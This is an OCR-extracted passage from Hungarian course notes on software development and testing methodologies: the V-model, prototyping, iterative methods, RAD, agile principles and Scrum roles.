gondolkozni. A kovetelmény specifikacidban jol meghatarozott atvételi kritériumokat
fogalmaznak meg, amik lehetnek funkciondlis és nemfunkcionalis igények is. Ez lesz majd az
alapja a felhasznaloi atvételi tesztnek (User Acceptance Test, UAT). Magat a kdvetelmény
specifikaciot is tesztelik. A felhasznaldk tlizetesen atnézik az Uzleti elemz6k segitségével,
hogy ténylegesen minden igényiket lefedi-e a dokumentum. Ez lényeges része a modellnek,
mert a folyamatban visszafelé haladni nem lehet, és ha rossz a kovetelmény specifikacid,
akkor nem az igényeknek megfelel6 szoftver fog elkészilni. Ezzel szemben példaul a
prototipus modellben lehet pongyola az igényfelmérés, mert az a prototipusok sordn ugyis
pontositasra kerdl.

Ezutan kovetkezik a funkciondlis specifikdcio elkészitése, amely leirja, hogyan kell majd
mUkodnie a szoftvernek. Ez lesz a rendszerteszt alapja. Ha a funkciondlis specifikacié azt irja,
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hogy a ,Vasarol gomb megnyomadsara ki kell irni a kosarban |évé aruk értékét”, akkor a
rendszertesztben lesz egy vagy tobb teszteset, amely ezt teszteli. Példaul, ha Ures a kosar,
akkor az drnak nullanak kell lennie.

Ezutan kovetkezik a rendszerterv, amely leirja, hogy az egyes funkcidkat hogyan, milyen
komponensekkel, osztalyokkal, metddusokkal, adatbdzissal fogjuk megvalésitani. Ez lesz a
komponens teszt egyik alapja. A rendszerterv leirja tovdbb, hogy a komponensek hogyan
mukodnek egyitt. Ez lesz az integracids teszt alapja.

Ezutdn a rendszertervnek megfelel6en kovetkezik az implementacié. Minden metddushoz
egy vagy tobb unit-tesztet kell késziteni. Ezek alapja nem csak az implementdcié, hanem a
rendszerterv is. A nagyobb egységeket, osztalyokat, al- és f6funkcidkat is komponens teszt
ala kell vetni az implementacid és a rendszerterv alapjan.

Ha ezen sikeresen tul vagyunk, akkor az integracios teszt kdvetkezik a rendszerterv alapjan.
Ha itt problémak merilnek fel, akkor visszamegyink a V betl masik szdrdra a
rendszertervhez. Megnézzik, hogy a hiba a rendszertervben vagy az implementaciéban van-
e. Ha kell, megvaltoztatjuk a rendszertervet, majd az implementaciot is.

Az integracids teszt utdn jon a rendszerteszt a funkciondlis specifikacié alapjan. Hasonldan,
hiba esetén a V betl masik szardra megylnk, azaz visszaléplink a funkcionadlis specifikacid
elkészitésére. Majd jon az atvételi teszt a kovetelmény specifikacié alapjan. Remélhetdleg itt
mar nem lesz hiba, mert kezdhetnénk az egészet el6lrdl, ami egyenl6 a sikertelen projekttel.

Ha a fejlesztés és tesztelés alatt nem valtoznak a kévetelmények, akkor ez egy nagyon o,
kiforrott, tamogatott mddszertan. Ha valdszinl a kovetelmények valtozasa, akkor inkabb
iterativ, vagy még inkabb agilis médszert valasszunk.

2.4.1 Prototipus modell

A prototipus modell valasz a vizesés modell sikertelenségére. A fejleszté cégek rajottek, hogy
tarthatatlan a vizesés modell megkozelitése, hogy a rendszerrel a felhasznald csak a projekt
végén taldlkozik. Gyakran csak ekkor deriilt ki, hogy az életciklus elején félreértették egymast
a felek és nem a valés kovetelményeknek megfelel6 rendszer sziiletett. Ezt elkerilendd a
prototipus modell azt mondja, hogy a végsé atadas el6tt tobb prototipust is szallitsunk le,
hogy mihamarabb kideriljenek a félreértések, illetve a megrendel6 ldssa, mit varhat a
rendszertdl.

A prototipus alapu megkozelitése a fejlesztésnek azon alapszik, hogy a megrendel6 (zleti
folyamatai, kdvetelményei nem ismerhet6k meg teljesen. Mar csak azért sem, mert ezek az
idével valtoznak (ldsd az agilis modszertanokat). A kovetelményeket érdemes finomitani
prototipusok segitségével. Ha a felhasznald hasznalatba vesz egy prototipust, akkor képes
megfogalmazni, hogy az miért nem felel meg az elvardsainak és hogyan kellene
megvaltoztatni. Ebben a megkozelitésben a leszallitott rendszer is egy prototipus.



Ez a megkozelités annyira sikeres volt, hogy a modern médszertanok majd mindegyike
prototipus alapu. Az iterativ mddszerek altaldban minden mérfoldk6hoz kotnek egy
prototipust. Az agilis mddszertanok akar minden nap Uj (lasd napi forditds) prototipust
allitanak elé.

A kezdeti prototipus fejlesztése altalaban a kovetkez6 [épésekbdl all:

o 1. lépés: Az alap kovetelmények meghatdrozasa: Olyan alap koévetelmények
meghatérozasa, mint a bemeneti és kimeneti adatok. Altaldban a teljesitményre vagy
a biztonsagra vonatkozé kévetelményekkel nem foglalkozunk.

e 2. lépés: Kezdeti prototipus kifejlesztése: Csak a felhasznaldi fellleteket fejlesztjik le
egy erre alkalmas CASE eszkdzzel. A mogotte 1évé funkcidokat nem, kivéve az (j
ablakok nyitasat.

e 3. |épés: Bemutatas: Ez egyfajta felhasznaléi atvételi teszt. A végfelhasznaldk
megvizsgdljdk a prototipust, és jelzik, hogy mit gondolnak masként, illetve mit
tennének még hozza.

o 4, |épés. A kovetelmények pontositdsa: A visszajelzéseket felhasznalva pontositjuk a
kovetelmény specifikaciét. Ha még mindig nem elég pontos a specifikacio, akkor a
prototipust tovabbfejlesztjiik és ugrunk a 3. |épésre. Ha elég pontos képet kaptunk
arrél, hogy mit is akar a megrendeld, akkor az egyes mddszertanok mast és mast
irnak el6.

Prototipus modell

Prototipus

készitése

Kovetelmények
meghatarozasa ertesitese

2-6



A prototipus készitést akkor a legcélszertlibb hasznalni, ha a rendszer és a felhasznalé kozott
sok lesz a pdarbeszéd. A modell on-line rendszerek elemzésében és tervezésében nagyon
hatékony, kiilonosen a tranzakcio feldolgozdsnal. Olyan rendszereknél, ahol kevés interakcié
zajlik a rendszer és a felhaszndld kozott, ott kevésbé éri meg a prototipus modell hasznalata,
ilyenek példaul a szamitas igényes feladatok. Kiilondsen jol hasznalhaté a felhasznaléi felllet
kialakitasanal.

A prototipus modell nagyban épit a tesztelésre. Minden prototipust felhasznaldi atvételi
tesztnek vetnek ala, ami soran kdnnyen kiderul, hogy milyen funkcionalis és nemfunkcionalis
kovetelményt nem tart be a prototipus. A korai szakaszban sok unit-tesztet alkalmazunk.
Amikor befejezilink egy Ujabb prototipust, akkor regresszids teszttel vizsgaljuk meg, hogy ami
az el6z6 prototipusban mikodott, az tovabbiakban is mikodik-e. Ha az Uj prototipusban van
Uj komponens is, akkor a régi és az Uj komponensek kozott, illetve az Uj — Uj komponensek
kozott integracios tesztet kell végrehajtani. A modell kés6bbi szakaszaban, miutan mar a
kovetelmény és a funkcionalis specifikacio letisztult, egy vizesés modellre hasonlit. Azaz az
implementacié utan jon a tesztelés. Ekkor elvégezzik Ujbdl komponens és integracios
teszteket is. Rendszertesztet dltalaban csak a végss prototipus atadas el6tt végziink.

2.4.2 lterativ és inkrementalis médszertanok
Az iterativ mddszertan elGirja, hogy a fejlesztést, kezdve az igényfelméréstél az
Uzemeltetésig, kisebb iterdcidk sorozatdra bontsuk. Eltéréen a vizesés modellt6l, amelyben
példdul a tervezés teljesen megel6zni az implementaciét, itt minden iterdcidban van
tervezés és implementdcidi is. Lehet, hogy valamelyik iteracidban az egyik sokkal
hangsulyosabb, mint a masik, de ez természetes.

A folyamatos finomitas lehet6vé teszi, hogy mélyen megértsiik a feladatot és felderitsiik az
ellentmondasokat. Minden iterdcié kiegésziti a mar kifejlesztett prototipust. A kiegészitést
inkrementumnak is nevezzik. Azok a mddszertanok, amik a folyamatra teszik a hangsulyt,
azaz az iterdcidéra, azokat iterativ modszertanoknak nevezzik. Azokat, amelyek az iteracié
termékére, az inkrementumra teszik a hangsulyt, azokat inkrementalis mddszertanoknak
hivjuk. A mai mddszertanok nagy része, kezdve a prototipus modellt6l egészen az agilis
modellekig, ebbe a csalddba tartoznak.

A kiegészités hozzdadasaval novekvd részrendszer jon létre, amelyet tesztelni kell. Az (j
kodot unit-teszttel teszteljiik. Regresszids teszttel kell ellendrizni, hogy a régi kéd tovdbbra is
mUkodik-e az Uj kdd hozzaadasa és a valtozasok utdn. Az (j és a régi kod egyluttmikodését
integracios teszttel teszteljiik. Ha egy mérfoldk6hoz vagy prototipus bemutatashoz érkezink,
akkor van felhasznaléi atvételi teszt is. Egyébként csak egy bels6 atvételi teszt van az iteracio
végén.
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Ezt a megkozelitést tobb maddszertan is alkalmazza, példaul a prototipus modell, a gyors
alkalmazasfejlesztés (RAD), a Rational Unified Process (RUP) és az agilis fejlesztési modellek.
Itt ezeknek a médszertanoknak a kozos részét, az iteraciét ismertetjik. Egy iteracid a
kovetkezd feladatokbdl all:

o Uzleti folyamatok elemzése
o Kovetelményelemzés

e Elemzés és tervezés

e Implementacid

o Tesztelés

e Ertékelés



Az iterativ modell f6 ereje abban rejlik, hogy az életciklus Iépései nem egymds utan jonnek,
mint a strukturdlt mddszertanok esetén, hanem idében atfedik egymadst. Minden iteraciéban
van elemzés, tervezés, implementdcio és tesztelés. Ezért, ha taldlunk egy félreértést, akkor
nem kell visszalépni, hanem néhany iteracio segitségével oldjuk fel a félreértést. Ez az jelenti,
hogy kevésbé tervezhet6 a fejlesztés ideje, de jol alkalmazkodik az igények valtozasahoz.

Mivel a fejlesztés |épéseit mindig ismételgetjlik, ezért azt mondjuk, hogy ezek id6ben atfedik
egymast, hiszen minden szakaszban minden |épést végre kell hajtani. A kezdeti iteracidkban
tobb az elemzés, a végéhez kdzeledve egyre tobb a tesztelés. Mar a legels6 szakaszban is van
tesztelés, de ekkor még csak a teszttervet készitjik. Mar a legelsé szakaszban is van
implementacid, de ekkor még csak az architekttra osztalyait hozzuk létre. Es igy tovabb.

A feladatot tobb iteraciéra bontjuk. Ezeket dltalaban tobb kisebb csapat implementalja
egymassal versengve. Aki gyorsabb, az valaszthat iteraciot a meglévék koziil. A vélasztds nem
teljesen szabad, a legnagyobb prioritasi feladatok kozil kell valasztani. A prioritas
meghatdrozasa kilonboz6 lehet, altaldban a leggyorsabban megvaldsithaté és legnagyobb
Uzleti értékl, azaz a legnagyobb Uzleti megtériléssel (angolul: return of investment) biré
feladat a legnagyobb prioritasu.

Uzleti folyamatok elemzése: Els6 |épésben meg kell ismerni a megrendel§ iizleti folyamatait.
Az Uzleti folyamatok modellezése soran fel kell allitani egy projekt fogalomtarat. A
lemodellezett Uzleti folyamatokat egyeztetni kell a megrendel6vel, hogy ellendrizziik jol
értjuk-e az lzleti logikat. Ezt Uzleti elemzbk végzik, akik a megrendel6k és a fejleszték fejével
is képesek gondolkozni.

Kovetelményelemzés: A kdvetelmény elemzés soran meghatdrozzuk a rendszer funkciondlis
és nemfunkciondlis kovetelményeit, majd ezekbdl funkcidkat, képernydterveket készitiink.
Ez a Iépés az egész fejlesztés elején nagyon hangsulyos, hiszen a kezdeti iteracidk célja a
kovetelmények feldllitasa. Kés6bbiekben csak a funkcionadlis terv finomitasa a feladata.
Fontos, hogy a kovetelményeket egyeztessiik a megrendel6kkel. Ha a finomitas sordn
ellentmondast fedezlink fel, akkor érdemes tisztazni a kérdést a megrendelével.

Elemzés és tervezés: Az elemzés és tervezés soran a kodvetelmény elemzés termékeibdl
megprobdljuk elemezni a rendszert és megtervezni azt. A nemfunkciondlis
kovetelményekbdl lesz az architekturalis terv. Az architekturalis terv alapjan tervezzik az
alrendszereket és a koztiik levs kapcsolatokat. Ez a kezdeti iteraciok feladata. A funkcionalis
kovetelmények alapjan tervezziik meg az osztalyokat, metddusokat és az adattablakat. Ezek
a késbbbi iteracidk feladatai.

Implementacié: Az implementacidés szakaszra ritkdn adnak megszoritast az iterativ
modszertanok. Altaldban a bevett technikdk alkalmazédsat ajanljik, illetve szerepkoroket
irnak eld. Pl.: a fejleszték fejlesztik a rendszert, a fejleszték szoros kapcsolatban vannak a
tervezbkkel, tovabba van egy kdd ellendr, aki ellenérzi, hogy a fejleszt6k altal irt programok
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megfelelnek-e a tervez6k dltal kitaldlt tervezési és programozdsi iranyelveknek. Ebben a
szakaszban a programozok unit-teszttel biztositjak a kéd minéségét.

Tesztelés: A tesztelési szakaszban kiilonb6z6 tesztelési eseteket talalunk ki, ezeket unit-
tesztként valdsitjuk meg. Itt vizsgaljuk meg, hogy az elkészilt kéd képes-e egylittmUikodni a
program tobbi részével, azaz integracidos tesztet hajtunk végre. Regresszids tesztek
segitségével ellendrizziik, hogy ami eddig kész volt, az nem romlott el. Ehhez lefuttatjuk az
0sszes unit-tesztet. Rendszerteszt csak a késGi tesztelési fazisokban van.

Ertékelés: A fejlesztés minden ciklusdban el kell donteni, hogy az elkésziilt verziét elfogadjuk-
e, vagy sem. Ha nem, akkor Ujra indul ez az iteracié. Ha igen, vége ennek az iteracidonak. Az
igy elkésziilt kodot feltoltjik a verzidkovets rendszerbe, hogy a tébbi csapat is hozzaférjen.
Az értékelés magdban foglal egy atvételi tesztet is. Ha a megrendel6 nem &ll rendelkezésre,
akkor altaldban a csoportok munkajat 6sszefogd vezets programozo / tervezd helyettesiti.
Amennyiben a folyamat soran elértlink egy mérfoldk6hoz, akkor altaldban at kell adnunk egy
kdztes prototipust is. Ekkor mindig rendelkezésre dall a megrendel6, hogy elvégezziik a
felhasznaloi atvételi tesztet.

Tamogatd tevékenységek, napi forditds: Az iteracioktdl fliggetleniil ugynevezett tdmogatd
folyamatok is zajlanak a szoftver cégen belil. llyen példdul a rendszergazddk vagy a
menedzsment tevékenysége. Az iteracidk szemszogébdl a legfontosabb az Ugynevezett a
napi forditas (daily build). Ez azt jelenti, hogy minden nap végén a verzidkovets rendszerben
lévé forraskodot leforditjuk. Minden csapat igyekszik a meglévé kédhoz igazitani a sajatjat,
hogy lehetséges legyen a forditds. Aki elrontja a napi forditast, és ezzel neheziti az 6sszes
csapat kovetkez6 napi munkajat, az bintetésre szamithat. Ez a cég hagyomanyaitdl fugg,
altaldban egy hétig 6 csindlja a napi forditas és emiatt sokszor sokaig bent kell maradnia.

Végul vagy elérjik azt a pontot, ahol azt mondjuk, hogy ez igy nem elkészithetd, vagy azt
mondjuk, hogy minden felmerilt igényt kielégit a szoftverink és szallithatjuk a
megrendelének.

2.4.3 Gyors alkalmazasfejlesztés - RAD

A gyors alkalmazasfejlesztés vagy ismertebb nevén RAD (Rapid Application Development)
egy olyan elgondolds, amelynek lényege a szoftver gyorsabb és jobb min&ségl elkészitése.
Ezt a kdvetkezbk altal érhetjiik el:

e Korai prototipus készités és ismétl6d6 felhaszndloi atvételi tesztek.
e A csapat - megrendelG és a csapaton beliili kommunikaciéban kevésbé formalis.

e Szigoru Utemterv, igy az ujitdsok mindig csak a termék kovetkez6 verzidjaban
jelennek meg.

o Kovetelmények Osszegylijtése fokusz csoportok és munkaértekezletek hasznalatdval.
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e Komponensek Ujrahasznositasa.

Ezekhez a folyamatokhoz tobb szoftvergyarté is készitett segédeszkdzdket, melyek részben
vagy egészben lefedik a fejlesztés fazisait, mint példaul:

o kovetelmény Osszegylijté eszkdzok,

e tervezést segitd eszkozok,

e prototipus készit6 eszkdzok,
csapatok kommunikaciéjat segit6 eszkdzok.

A RAD els6sorban az objektumorientdlt programozdssal kacsoldodik 6ssze, mar csak a
komponensek Ujrahasznositdsa okan is. Osszehasonlitva a hagyomanyos fejlesztési
metddusokkal (pl.: vizesés modell), ahol az egyes fejlesztési fazisok jol elkilonilinek
egymastodl, a RAD sokkal rugalmasabban. Gyakori probléma, hogy a tervezésbe hiba csuszik,
és az csak a megvaldsitasi vagy a tesztelési fazisban jon el6, rdadasul az elemzés és a
tesztelési fazis kozott hat-hét hdnap is eltelhet. Vagy ha menetkdzbe megvaltoznak az lzleti
kortilmények, és mar a megvaldsitdsi fazisban jarunk, vagy csak rajottek a megrendelék,
hogy valamit mégis masképpen szeretnének, akkor szintén gondban vagyunk. A RAD vdlasza
ezekre a problémadkra a gyorsasag. Ha gyorsan hozzuk létre a rendszert, akkor ezen rovid id§
alatt nem vdltoznak a kovetelmények, az elemzés és tesztelés kozott nem hat-hét honap,
hanem csak hat-hét hét telik el.

A gyorsasag eléréséhez sok meglévé komponenst kell felhaszndlni, amit a csapatnak jol kell
ismernie. A komponensek lehetnek sajat fejlesztésliek vagy megvasaroltak. Komponenst
vasarolni nagy kockdzat, mert ha hiba van benne, azt nem tudjuk javitani, ha nem kapjuk
meg a forrast, de még ugy is nagyon nehéz. Ezért a komponens gyartdk nagyon alaposan
tesztelik termékuket.

A RAD az elemzést, a tervezést, a megvaldsitast, és a tesztelést rovid, ismétl6dé ciklusok
sorozataba tomoriti, és ennek sok el6nye van a hagyomanyos modellekkel szemben. A
fejlesztés sordn altaldban kis csoportokat hoznak |étre fejlesztékbdl, végfelhaszndldkbdl, ez
az ugynevezett fokusz csoport. Ezek a csapatok az ismétl6dé, rovid ciklusokkal vegyitve
hatékonyabba teszik a kommunikaciot, optimalizaljak a fejlesztési sebességet, egységesitik
az elképzeléseket és célokat, valamint leegyszerdsitik a folyamat felligyeletét.

Ot fejlesztési |épés a RAD-ban:

e (zleti modellezés: Az Uzleti funkcidk kozétti informdcié dramlast olyan kérdések
feltevésével tudjuk felderiteni, mint hogy milyen informaciok keletkeznek, ezeket ki
allitja el6, az lizleti folyamatot milyen informaciok irdnyitjak, vagy hogy ki irdnyitja.

e Adat modellezés: Az lzleti modellezéssel Osszegyljtottik a sziikséges adatokat,
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melyekbdl adat objektumokat hozunk létre. Beazonositjuk az attributumokat és a
kapcsolatokat az adatok kozott.

e Folyamat modellezés: Az el6z6leg |étrehozott adatmodellhez sziikséges miiveletek
(bbvités, torlés, maddositds) meghatdrozasa, ugy hogy Ilétrehozzuk a kell6
informaciéaramlast az Gzleti funkciok szamara.

o Alkalmazas el6dllitdsa: A szoftver el6dllitdsdanak megkonnyitése automatikus
eszkdzokkel.

o Tesztelés: Az Uj programkomponensek tesztelése, a mar kordbban tesztelt
komponenseket mar nem sziikséges Ujra vizsgdlni. Ez gyorsitja a folyamatot.
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Hatranya, hogy magasan képzett fejlesztékre van sziikség, emellett fontos a fejleszték és a
végfelhasznaldk elkotelezettsége a sikeres szoftver irant. Ha a projekt nehezen bonthaté fel
modulokra, akkor nem a legjobb vélasztas a RAD. Nagyobb rendszerek fejlesztése ezzel a
modszertannal kockazatos.

2.4.4 Agilis szoftverfejlesztés

Az agilis szoftverfejlesztés valéjaban iterativ szoftverfejlesztési médszerek egy csoportjara
utal, amelyet 2001-ben az Agile Manifesto nevl kiadvanyban ontottek formaba. Az agilis
fejlesztési mddszerek (nevezik adaptivnak is) egyik fontos jellemzéje, hogy a résztvevék,
amennyire lehetséges megprébdlnak alkalmazkodni a projekthez. Ezért fontos példaul, hogy
a fejleszt6k folyamatosan tanuljanak.

Az agilis szoftverfejlesztés szerint értékesebbek:
e azegyének és interaktivitds szemben a folyamatokkal és az eszk6zokkel,
e a mikodd szoftver szemben a terjedelmes dokumentdcioval,
o azegylttm(kodés a megrendel6vel szemben a szerz6déses targyalasokkal,

e az alkalmazkodas a valtozasokhoz szemben a terv kovetésével.
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Az agilis szoftverfejlesztés alapelvei:

A legfontosabb a megrendelS kielégitése haszndlhatd szoftver gyors és folyamatos
atadasaval.

Még a kdvetelmények kései valtoztatasa sem okoz problémat.

A m(ikodé szoftver / prototipus atadasa rendszeresen, a lehetd legrévidebb idén
beldl.

Napi egylttmUikodés a megrendel6 és a fejleszt6k kozott.

A projektek motivalt egyének koré épilnek, akik megkapjak a szlikséges eszkozoket
és tdmogatast a legjobb munkavégzéshez.

A leghatékonyabb kommunikdcié a szemt6l-szembeni megbeszélés.
Az el6rehaladas alapja a mikodé szoftver.

Az agilis folyamatok altali fenntarthato fejlesztés allando tGtemben.
Folyamatos figyelem a technikai kitlin6ségnek.

Egyszerlség, a minél nagyobb hatékonysagért.

Onszervezd csapatok készitik a legjobb terveket.

Rendszeres id6kozonként a csapatok reagdlnak a valtozdsokra, hogy még
hatékonyabbak legyenek.

Az agilis szoftverfejlesztésnek nagyon sok fajtaja van. Ebben a jegyzetben csak ezt a kett6t

targyaljuk:

Scrum

Extrém Programozas (XP)

Ezek a kovetkez6 kozos jellemzbkkel birnak:

Kevesebb dokumentacio.
Novekv6 rugalmassdag, csokkend kockazat.
Konnyebb kommunikacid, javuld egylittm(ikodés.

A megrendel8 bevondsa a fejlesztésbe.

Kevesebb dokumentdcié: Az agilis metédusok alapvetd kilonbsége a hagyomanyosakhoz

képest, hogy a projektet apro részekre bontjak, és mindig egy kisebb darabot tesznek hozz3
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a termékhez, ezeket egyt6l négy hétig terjed6 ciklusokban (mas néven keretekben vagy
idédobozokban) készitik el, és ezek a ciklusok ismétlédnek. Ezdltal nincs olyan jellegl
részletes hosszu tavu tervezés, mint példaul a vizeséses modellnél, csak az a minimalis, amire
az adott ciklusban sziikség van. Ez abbdl az elvbdl indul ki, hogy nem lehet el6re tokéletesen,
minden részletre kiterjed6en megtervezni egy szoftvert, mert vagy a tervben lesz hiba, vagy
a megrendel6 valtoztat valamit.

Novekvd rugalmassag, csokkend kockazat: Az agilis mddszerek a valtozasokhoz adaptalhaté
technikakat helyezik elénybe a jol tervezheté technikdkkal szemben. Ennek megfeleléen
iteracidkat hasznalnak. Egy iterdcié olyan, mint egy hagyomanyos életciklus: tartalmazza a
tervezést, a kovetelmények elemzését, a kddoldst, és a tesztelést. Egy iteracié maximum egy
hénap terjedelmd, igy né a rugalmassag, valamint csokken a kockdzat, hiszen az iteracio
végén atvételi teszt van, ami utdn megrendel6 megvaltoztathatja eddigi kdvetelményeit.
Minden iteracio végén futoképes valtozatot kell kiadniuk a csapatoknak a kezlikbdl.

Konnyebb kommunikdcié, javulé egylttmiikodés: JellemzS, hogy a fejleszt6 csoportok
onszervezdek, és altaldban nem egy feladatra specializdlédottak a tagok, hanem toébbféle
szakteriletrdl kerllnek egy csapatba, igy példaul programozok és tesztelSk. Ezek a csapatok
idedlis esetben egy helyen, egy iroddban dolgoznak, a csapatok mérete idedlis esetben 5-9
f6. Mindez leegyszer(siti a tagok kozotti kommunikaciét és segiti a csapaton beldli
egyuttmdkodést. Az agilis mddszerek el6nyben részesitik a szemtdl szembe folytatott
kommunikdciét az irdsban folytatott eszmecserével szemben.

A megrendel6 bevonasa a fejlesztésbe: Vagy személyesen a megrendel vagy egy kijelolt
személy, aki elkotelezi magdt a termék elkészitése mellett, folyamatosan a fejleszték
rendelkezésére all, hogy a menet kézben felmerilé kérdéseket minél hamarabb meg tudja
valaszolni. Ez a személy a ciklus végén is részt vesz az elkészllt prototipus kiértékelésében.
Fontos feladata az elkészitend6 funkcidk fontossagi sorrendjének feldllitdsa azok Uzleti
értéke alapjan. Az Uzleti értékbdl és a fejleszté csapat altal becsilt fejlesztési id6bdl
szamolhato a befektetés megtérilése (Return of Investment, ROI). A befektetés megtériilése
az Uzleti érték és a fejlesztési id6 hanyadosa.

Az agilis médszertanok nagyon jél mikodnek, amig a feladatot egy kdzepes méretli (5-9 f6s)
csapat képes megoldani. Nagyobb csoportok esetén nehéz a csapat szellem kialakitdsa. Ha
tobb csoport dolgozik ugyanazon a célon, akkor koztik a kommunikacié nehézkes. Ha
megrendel6 nem hajlandé egy elkotelezett munkatarsat a fejleszt6 csapat rendelkezésére
bocsatani, akkor az kivalthatd egy Uzleti elemzével, aki atlatja a megrendeld Uzleti
folyamatait, de ez kockazatos.

2.4.5 Scrum

A Scrum egy agilis szoftverfejlesztési metddus. Jellegzetessége, hogy fogalmait az amerikai
futballbél, mas néven rugby, meriti. llyen fogalom, maga a Scrum is, amely dulakodast jelent.
A modszertan jelent8s szerepet tulajdonit a csoporton bellli 6sszetartasnak. A csoporton
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beliil sok a taldlkozd, a kommunikacio, lehet6ség van a gondok megbeszélésre is. Az ajanlas
szerint jo, ha a csapat egy helyen dolgozik és széban kommunikal.

A Scrum 3dltal elGirt fejlesztési folyamat roviden igy foglalhaté Ossze: A Product Owner
létrehoz egy Product Backlog-ot, amelyre a teend&ket felhasznaléi sztoriként veszi fel. A
sztorikat prioritassal kell ellatni és megmondani, mi az Uzleti értékik. Ez a Product Owner
feladata. A Sprint Planning Meetingen a csapat tagjai megbeszélik, hogy mely sztorik
megvaldsitasat vallaljak el, lehetbleg a legnagyobb prioritdsuakat. Ehhez a sztorikat kisebb
feladatokra bontjak, hogy megbecsiilhessék mennyi ideig tart megvaldsitani azokat. Ezutan
jon a sprint, ami 2-4 hétig tart. A sprint id6tartamat az elején fixalja a csapat, ettél eltérni
nem lehet. Ha nem sikeril befejezni az adott id6tartam alatt, akkor sikertelen a sprint, ami
blntetést, altaldban prémium megvonast, von maga utdn. A sprinten belll a csapat és a
Scrum Master naponta megbeszélik a torténteket a Daily Meetingen. Itt mindenki elmondja,
hogy mit csinalt, mi lesz a kovetkez6 feladata, és milyen akadalyokba (impediment) (itk6zott.
A sprint végén kovetkezik a Sprint Review, ahol a csapat bemutatja a sprint alatt elkészilt
sztorikat. Ezeket vagy elfogadjdk, vagy nem. Majd a Sprint Retrospective talalkozé
kovetkezik, ahol a Sprint soran felmerilt problémakat targyalja 4t a csapat. A megolddsra
konkrét javaslatokat kell tenni. Ezek utdn Gjra a Sprint Planning Meeting kovetkezik. A
fejlesztett termék az el6tt piacra kertlhet, hogy minden sztorit megvalésitottak volna.

A csapatban minden szerepkor képvisel6je megtalalhatd, igy van benne fejleszté és tesztel6
is. Téves azt gondolni, hogy a sprint elején a tesztel6 is programot ir, hiszen, amig nincs
program, nincs mit tesztelni. Ezzel szemben a tesztelS a sprint elején a tesztel6 a teszttervet
készit, majd kidolgozza a teszteseteket, végil, amikor mar vannak kész osztalyok, unit-
teszteket ir, a valtozdsokat regresszios teszttel ellenérzi.

A Scrum, mint minden agilis médszertan, arra épit, hogy a fejlesztés kozben a megrendel6
igényei valtozhatnak. A valtozasokhoz ugy alkalmazkodik, a Product Backlog folyamatosan
valtozhat. Az erre épilé dokumentumok folyamatosan finomodnak, tehat koénnyen
valtoztathatok. A csapatok gyorsan megvaldsitjak a szlikséges valtozasokat.

A Scrum tokélyre viszi az egy csapaton bellli hatékonysagot. Ha tobb csapat is dolgozik egy
fejlesztésen, akkor koztliik lehetnek kommunikdciés zavarok, ami a moddszertan egyik
hatranya.
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A Scrum két nagyon fontos fogalma a sprint és az akadaly.

Sprint (vagy futam): Egy el6re megbeszélt hosszUsagu fejlesztési id6szak, altaldban 2-4 hétig
tart, kezdddik a Sprint Planning-gel, majd a Retrospective-vel zarul. Ez a Scrum Ugynevezett
iteracids ciklusa, addig kell ismételni, amig a Product Backlog-rél el nem tlnnek a
megoldasra varod felhaszndldi sztorik. Alapelv, hogy minden sprint végére egy potencialisan
leszallithatd szoftvert kell el6allitani a csapatnak, azaz egy prototipust. A sprint tekinthetd
két mérfoldké kdzti munkanak.

Akaddly (Impediment): Olyan gatld tényez6, amely a munkat hatrdltatja. Csak és kizardlag
munkahelyi probléma tekintheté akaddlynak. A csapattagok magdnéleti problémai nem
azok. Akadaly példaul, hogy lejart az egyik szoftver licence, vagy sziikség lenne egy plusz
gépre a gyorsabb haladashoz, vagy tobb memdridra az egyik gépbe, vagy akar az is lehet,
hogy 2 tag megsértédott egymasra. llyenkor kell a Scrum Masternek elharitani az
akaddlyokat, hogy a munka minél gérdiilékenyebb legyen.

A moddszertan szerepkoroket, megbeszéléseket és elkészitend6 termékeket ir eld.

Szerepkordok
A mddszertan kétféle szerepkort kilonboztet meg, ezek a diszndk és a csirkék. A
megkililonboztetés alapja egy vicc:

A diszn6 és a csirke mennek az utcan. Egyszer csak a csirke megszélal: , Te, nyissunk egy
éttermet!” Mire a diszné: ,J6 Otlet, mi legyen a neve?” A csirke gondolkozik, majd ravagja:

I”

»Nevezziik Sonkastojasnak!” A diszno erre: ,,Nem tetszik valahogy, mert én biztosan mindent

beleadnék, te meg éppen csak hogy részt vennél benne.”

A diszndk azok, akik elkdtelezettek a szoftver projekt sikerében. Ok azok, akik a ,vériiket”
adjdk a projekt sikeréért, azaz felelGsséget vallalnak érte. A csirkék is érdekeltek a projekt
sikerében, 6k a haszonélvezGi a sikernek, de ha esetleg mégse sikeres a projekt, akkor az
nem az 6 felelGsséguik.
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Diszndk:
e Scrum mester (Scrum Master)
e Terméktulajdonos (Product Owner)
e (Csapat (Team)
Csirkék:
o Uzleti szerepl8k (Stakeholders)
e Menedzsment (Managers)

Scrum mester (Scrum Master): A Scrum mester feligyeli és megkonnyiti a folyamat
fenntartasat, segiti a csapatot, ha problémaba utkozik, illetve felligyeli, hogy mindenki
betartja-e a Scrum alapvet§ szabalyait. llyen példaul, hogy a Sprint id6tartama nem térhet el
az elére megbeszéIttél, még akkor sem, ha az elvallalt munka nem lesz kész. Akkor is nemet
kell mondania, ha a Product Owner a sprint kdzben azt taldlja ki, hogy az egyik sztorit, amit
nem vallaltak be az adott id&szakra, el kellene késziteni, mert mondjuk megviéltoztak az
Uzleti koriilmények. Lényegében 6 a projekt menedzser.

Termék tulajdonos (Product Owner): A megrendeld szerepét tolti be, 6 a felel6s azért, hogy a
csapat mindig azt a részét fejlessze a terméknek, amely éppen a legfontosabb, vagyis a
felhasznaldi sztorik fontossdagi sorrendbe allitasa a feladata a Product Backlog-ban. A Product
Owner és a Scrum Master nem lehet ugyanaz a személy.

Csapat (Team): Ok a felel6sek azért, hogy az aktudlis sprintre bevallalt feladatokat
elvégezzék, idedlis esetben 5-9 f6 alkot egy csapatot. A csapatban helyet kapnak a fejleszték,
tesztelSk, elemz8k. igy nem a valtéfutasra jellemzé stafétavaltds (mint a vizesés modellnél),
hanem a futballra emlékeztetd passzolgatds, azaz igazi csapatjaték jellemzi a csapatot.

Uzleti szereplék, pl.: megrendel6k, forgalmazdk (Stakeholders, i.e., customers, vendors): A
megrendel§ altal jon létre a projekt, 6 az, aki majd a hasznat latja a termék elkészitésének, a
Sprint Review soran kap szerepet a folyamatban.

Menedzsment (Managers): A menedzsment feladata a megfelel§ koérnyezet feldllitasa a
csapatok szamadra. Altaldban a megfelel kérnyezeten tul a lehet6 legjobb kdrnyezet
felallitasara torekszenek.

Megbeszélések

